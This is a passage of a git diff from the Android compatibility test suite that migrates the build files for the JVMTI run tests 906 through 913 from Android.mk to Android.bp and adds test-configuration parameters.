+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest906DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
deleted file mode 100644
index 0a1b017..0000000
--- a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest906DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.bp b/hostsidetests/jvmti/run-tests/test-907/Android.bp
new file mode 100644
index 0000000..39e9d20
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest907HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest907DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.mk b/hostsidetests/jvmti/run-tests/test-907/Android.mk
deleted file mode 100644
index 12c66f2..0000000
--- a/hostsidetests/jvmti/run-tests/test-907/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest907HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
index af587f3..b38c4c0 100644
--- a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.bp b/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
new file mode 100644
index 0000000..3d6a249
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest907DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
deleted file mode 100644
index 4cc8de3..0000000
--- a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest907DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.bp b/hostsidetests/jvmti/run-tests/test-908/Android.bp
new file mode 100644
index 0000000..ec637cb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest908HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest908DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.mk b/hostsidetests/jvmti/run-tests/test-908/Android.mk
deleted file mode 100644
index 2879daf..0000000
--- a/hostsidetests/jvmti/run-tests/test-908/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest908HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
index c2feb1a..f4713e3 100644
--- a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.bp b/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
new file mode 100644
index 0000000..b49570d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest908DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
deleted file mode 100644
index f4e077c..0000000
--- a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest908DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.bp b/hostsidetests/jvmti/run-tests/test-910/Android.bp
new file mode 100644
index 0000000..6005632
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest910HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest910DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.mk b/hostsidetests/jvmti/run-tests/test-910/Android.mk
deleted file mode 100644
index 85334b3..0000000
--- a/hostsidetests/jvmti/run-tests/test-910/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest910HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
index 32f135f..4ea65ee 100644
--- a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.bp b/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
new file mode 100644
index 0000000..9ef6822
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest910DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
deleted file mode 100644
index c9c903f..0000000
--- a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest910DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.bp b/hostsidetests/jvmti/run-tests/test-911/Android.bp
new file mode 100644
index 0000000..762739e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest911HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest911DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.mk b/hostsidetests/jvmti/run-tests/test-911/Android.mk
deleted file mode 100644
index 445fab0..0000000
--- a/hostsidetests/jvmti/run-tests/test-911/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest911HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
index 1832662..4990071 100644
--- a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/Android.bp b/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
new file mode 100644
index 0000000..74ef5a4
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest911DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+    optimize: {
+        enabled: false,
+    }
+}
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/Android.mk b/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
deleted file mode 100644
index 9441ad5..0000000
--- a/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest911DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.bp b/hostsidetests/jvmti/run-tests/test-912/Android.bp
new file mode 100644
index 0000000..2c7e7a2
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest912HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest912DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.mk b/hostsidetests/jvmti/run-tests/test-912/Android.mk
deleted file mode 100644
index aa69a75..0000000
--- a/hostsidetests/jvmti/run-tests/test-912/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest912HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
index 4ba486e..fe7c701 100644
--- a/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/Android.bp b/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
new file mode 100644
index 0000000..9c8d015
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest912DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/Android.mk b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
deleted file mode 100644
index dad7eeb..0000000
--- a/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest912DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.bp b/hostsidetests/jvmti/run-tests/test-913/Android.bp
new file mode 100644
index 0000000..c0a3a7c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest913HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest913DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.mk b/hostsidetests/jvmti/run-tests/test-913/Android.mk
deleted file mode 100644
index 3c87a22..0000000
--- a/hostsidetests/jvmti/run-tests/test-913/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest913HostTestCases
-
